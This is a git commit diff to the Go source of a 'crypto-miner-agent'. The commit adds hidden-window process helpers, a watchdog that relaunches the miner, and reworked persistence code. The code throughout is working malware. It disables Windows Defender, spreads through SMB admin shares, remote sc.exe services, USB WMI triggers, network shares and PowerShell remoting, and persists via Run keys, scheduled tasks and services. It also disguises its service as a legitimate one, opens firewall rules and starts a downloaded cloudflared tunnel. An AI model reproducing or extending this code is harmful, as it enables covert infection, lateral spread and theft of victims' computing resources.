Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

This commit is contained in:
AetherForge
2026-06-02 20:51:52 -07:00
parent 01d76b3730
commit 41b5ec7a88
66 changed files with 1773 additions and 388 deletions

View File

@@ -4,14 +4,13 @@ package deploy
import (
"fmt"
"os/exec"
"strings"
)
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
func DisableDefenderRealtime() (string, error) {
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
}
@@ -33,7 +32,7 @@ if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue))
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
}
`, strings.ReplaceAll(name, `'`, `''`), port)
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return string(out), err
}

View File

@@ -4,7 +4,6 @@ package deploy
import (
"net"
"os/exec"
"strings"
)
@@ -15,7 +14,7 @@ import (
//
// Falls back to nil (caller will do a full scan) on any error.
func arpHosts() []string {
out, err := exec.Command("arp", "-a").Output()
out, err := HiddenOutput("arp", "-a")
if err != nil {
return nil
}

View File

@@ -7,7 +7,6 @@ import (
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
@@ -152,12 +151,10 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
// 2. Attempt to copy payload via SMB using the current security token
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
if err := copyCmd.Run(); err != nil {
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
if err := copyCmd.Run(); err != nil {
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
return // Access denied or host unreachable
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
@@ -167,15 +164,12 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Delete existing just in case path changed
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
_ = scCreate.Run() // Ignore errors, it might already exist
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
// 4. Start the remote service
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
if err := scStart.Run(); err == nil {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
}
}

29
agent/deploy/exec_stub.go Normal file
View File

@@ -0,0 +1,29 @@
//go:build !windows
package deploy
import "os/exec"
func PrepareHiddenProcess(cmd *exec.Cmd) {}
func HiddenCommand(name string, arg ...string) *exec.Cmd {
return exec.Command(name, arg...)
}
func HiddenRun(name string, arg ...string) error {
return exec.Command(name, arg...).Run()
}
func HiddenStart(name string, arg ...string) error {
return exec.Command(name, arg...).Start()
}
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
return exec.Command(name, arg...).CombinedOutput()
}
func HiddenOutput(name string, arg ...string) ([]byte, error) {
return exec.Command(name, arg...).Output()
}
func applyDetachedStart(cmd *exec.Cmd) {}

View File

@@ -0,0 +1,52 @@
//go:build windows
package deploy
import (
"os/exec"
"syscall"
)
const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW
// PrepareHiddenProcess configures a command so it never shows a console window.
func PrepareHiddenProcess(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: creationFlagsNoWindow,
}
}
// HiddenCommand creates an exec.Cmd that runs without a visible window.
func HiddenCommand(name string, arg ...string) *exec.Cmd {
cmd := exec.Command(name, arg...)
PrepareHiddenProcess(cmd)
return cmd
}
// HiddenRun runs a process hidden and waits for completion.
func HiddenRun(name string, arg ...string) error {
return HiddenCommand(name, arg...).Run()
}
// HiddenStart starts a hidden detached process.
func HiddenStart(name string, arg ...string) error {
return HiddenCommand(name, arg...).Start()
}
// HiddenCombinedOutput runs a hidden process and returns its combined output.
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
return HiddenCommand(name, arg...).CombinedOutput()
}
// HiddenOutput runs a hidden process and returns stdout only.
func HiddenOutput(name string, arg ...string) ([]byte, error) {
return HiddenCommand(name, arg...).Output()
}
func applyDetachedStart(cmd *exec.Cmd) {
PrepareHiddenProcess(cmd)
}

View File

@@ -5,7 +5,6 @@ package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
@@ -43,8 +42,7 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
if err := cmd.Run(); err != nil {
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil {
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
return
}
@@ -56,7 +54,7 @@ func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
}
}
@@ -70,7 +68,7 @@ func firewallRuleBaseName(cfg config.RuntimeConfig) string {
func firewallRuleExists(displayName string) bool {
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return false
}

48
agent/deploy/guard.go Normal file
View File

@@ -0,0 +1,48 @@
package deploy
import (
"log"
"os"
"path/filepath"
"time"
"crypto-miner-agent/config"
)
const guardFlag = "--guard"
// IsGuardMode reports whether this process is the out-of-process watchdog only.
func IsGuardMode() bool {
for _, arg := range os.Args[1:] {
if arg == guardFlag {
return true
}
}
return false
}
// RunGuardLoop watches the installed worker and restarts it silently if it exits.
// Runs until the guard process is killed (no PowerShell loop).
func RunGuardLoop(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
binPath := filepath.Join(installDir, BinaryName(cfg))
procName := BinaryName(cfg)
log.Printf("[guard] watching %s", procName)
ticker := time.NewTicker(60 * time.Second)
defer ticker.Stop()
for range ticker.C {
if workerProcessRunning(procName) {
continue
}
if _, err := os.Stat(binPath); err != nil {
continue
}
if err := relaunch(binPath, ""); err != nil {
log.Printf("[guard] relaunch failed: %v", err)
}
}
}

View File

@@ -0,0 +1,24 @@
//go:build !windows
package deploy
import (
"os/exec"
"strings"
"crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
return err == nil && len(strings.TrimSpace(string(out))) > 0
}
func launchProcessGuard(cfg config.RuntimeConfig) {
binPath, err := InstalledBinaryPath(cfg)
if err != nil {
return
}
cmd := exec.Command(binPath, guardFlag)
_ = cmd.Start()
}

View File

@@ -0,0 +1,26 @@
//go:build windows
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
}
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
func launchProcessGuard(cfg config.RuntimeConfig) {
binPath, err := InstalledBinaryPath(cfg)
if err != nil {
return
}
_ = HiddenStart(binPath, guardFlag)
}

View File

@@ -50,15 +50,8 @@ func maintainInstall(cfg config.RuntimeConfig) error {
}
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := configureRunMode(cfg, installedBin); err != nil {
return err
}
if err := ensurePersistence(cfg, installedBin); err != nil {
return err
}
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedBin)

View File

@@ -1,43 +0,0 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
// installed miner process by name and relaunches it if it disappears.
// The guardian runs completely outside this process — it survives a crash.
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
ps := fmt.Sprintf(`
$bin = '%s'
$proc = '%s'
while ($true) {
Start-Sleep -Seconds 60
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
if (Test-Path $bin) {
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
}
}
}
`, binPath, procName)
cmd := exec.Command("powershell",
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
"-Command", ps)
applyDetachedStart(cmd)
_ = cmd.Start()
}

View File

@@ -8,7 +8,6 @@ import (
"math/rand"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
@@ -210,8 +209,7 @@ $lnk.Save()
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(destBin, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
// -----------------------------------------------------------------------
@@ -227,10 +225,11 @@ func installWMIUSBTrigger(cfg config.RuntimeConfig) {
}
destName := usbPayloadName(cfg)
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
strings.ReplaceAll(exePath, `"`, `\"`),
destName,
destName,
runFlag,
)
// Escape single-quotes for PowerShell string embedding
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
@@ -274,8 +273,7 @@ Copy-Item '%s' $dest -Force -EA SilentlyContinue
exePathPS,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
}
// Non-admin failure is expected and harmless; polling still covers it.
@@ -331,10 +329,7 @@ func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
return
}
log.Printf("[passive-spread] dropped to share %s", dest)
// Try to execute it via a UNC path
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
applyDetachedStart(cmd)
_ = cmd.Start()
_ = HiddenStart(dest, runFlag)
}
func sharePayloadName(cfg config.RuntimeConfig) string {
@@ -348,7 +343,7 @@ func sharePayloadName(cfg config.RuntimeConfig) string {
// listNetUse parses `net use` output and returns active UNC paths.
func listNetUse() []string {
out, err := exec.Command("net", "use").Output()
out, err := HiddenOutput("net", "use")
if err != nil {
return nil
}
@@ -434,8 +429,7 @@ if ($s) {
Remove-PSSession $s -EA SilentlyContinue
}
`, target, scriptBlock)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
}
}

View File

@@ -0,0 +1,12 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
return configureRunMode(cfg, installedBin)
}
return nil
}

View File

@@ -0,0 +1,62 @@
//go:build windows
package deploy
import (
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func scheduledTaskExists(taskName string) bool {
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
}
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
keyName := PersistenceKeyName(cfg)
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(keyName)
if err != nil {
return false
}
return strings.Contains(val, binPath)
}
func serviceExists(svcName string) bool {
return HiddenRun("sc.exe", "query", svcName) == nil
}
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "scheduled":
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
if err := createScheduledTask(cfg, installedBin); err != nil {
return err
}
}
case "service":
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
if !serviceExists(svcName) {
if err := createWindowsService(cfg, installedBin); err != nil {
return err
}
}
default:
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
}
return nil
}

View File

@@ -5,10 +5,9 @@ package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"crypto-miner-agent/config"
@@ -29,9 +28,7 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
return err
}
defer k.Close()
// Wrap in PowerShell so the console window is suppressed on startup.
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
return k.SetStringValue(PersistenceKeyName(cfg), val)
}
@@ -46,41 +43,32 @@ func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
}
}
// createWindowsService installs the miner as a real Windows Service with
// automatic crash-restart. When ServiceMasquerade is enabled, the service
// name and description are cloned from the donor service so it blends in.
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
// Tear down any stale instance first (errors are expected and ignored)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
// Give SCM time to fully remove the entry
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
_ = HiddenRun("sc.exe", "stop", svcName)
_ = HiddenRun("sc.exe", "delete", svcName)
time.Sleep(time.Second)
// Create the service
if err := exec.Command("sc.exe", "create", svcName,
if err := HiddenRun("sc.exe", "create", svcName,
"binPath=", `"`+binPath+`" --run`,
"type=", "own",
"start=", "auto",
"error=", "ignore",
).Run(); err != nil {
); err != nil {
return fmt.Errorf("sc create: %w", err)
}
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
_ = exec.Command("sc.exe", "failure", svcName,
_ = HiddenRun("sc.exe", "failure", svcName,
"reset=", "60",
"actions=", "restart/0/restart/5000/restart/30000",
).Run()
)
// Start it
_ = exec.Command("sc.exe", "start", svcName).Run()
_ = HiddenRun("sc.exe", "start", svcName)
// Masquerade: copy description from donor service
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
cloneServiceDescription(svcName, cfg.ServiceDonor)
}
@@ -88,28 +76,19 @@ func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
return nil
}
// cloneServiceDescription copies the display name and description from
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
func cloneServiceDescription(targetSvc, donorSvc string) {
ps := fmt.Sprintf(`
$donor = Get-Service '%s' -EA SilentlyContinue
if ($donor) {
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
sc.exe description '%s' ($donorWmi.Description)
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
sc.exe description '%s' ($donorWmi.Description)
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
`,
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
@@ -117,33 +96,12 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
if taskName == "" {
taskName = "CryptoMinerAgent"
}
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
// from spamming the screen. The watchdog covers longer-term health.
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(psArg, `'`, `''`),
safeTask,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: 0x08000000,
}
tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
func HostOSVersion() string {
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
out, err := HiddenCombinedOutput("cmd", "/C", "ver")
if err != nil {
return "windows"
}
@@ -151,7 +109,7 @@ func HostOSVersion() string {
}
func killWorkerProcess(cfg config.RuntimeConfig) {
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
}
func removePersistence(cfg config.RuntimeConfig) {
@@ -161,22 +119,19 @@ func removePersistence(cfg config.RuntimeConfig) {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
// Remove service — use the configured name if available, fall back to legacy pattern
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
_ = HiddenRun("sc.exe", "stop", svcName)
_ = HiddenRun("sc.exe", "delete", svcName)
}
func selfUninstallSpawn(installDir string) {
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
dir := installDir
go func() {
time.Sleep(2 * time.Second)
_ = os.RemoveAll(dir)
}()
}

View File

@@ -5,7 +5,6 @@ package deploy
import (
"fmt"
"os"
"os/exec"
)
func SetProcessPriority(priority string) error {
@@ -23,7 +22,6 @@ func SetProcessPriority(priority string) error {
class = "High"
}
pid := os.Getpid()
cmd := exec.Command("powershell", "-NoProfile", "-Command",
return HiddenRun("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run()
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package deploy
import "fmt"
func StartCloudflaredTunnel(serverURL string) (string, error) {
return "", fmt.Errorf("cloudflared tunnel is only supported on Windows in this build")
}

View File

@@ -1,9 +1,10 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
@@ -15,21 +16,20 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
return "", fmt.Errorf("server URL required")
}
checkCmd := exec.Command("cloudflared", "--version")
if err := checkCmd.Run(); err != nil {
downloadCmd := exec.Command("powershell", "-Command",
if err := HiddenRun("cloudflared", "--version"); err != nil {
output, dlErr := HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
if dlErr != nil {
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
}
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
_ = exec.Command("copy", "/Y", src, dst).Run()
_ = HiddenRun("copy", "/Y", src, dst)
}
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
if err := tunnelCmd.Start(); err != nil {
cmd := HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
if err := cmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared: %w", err)
}
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
}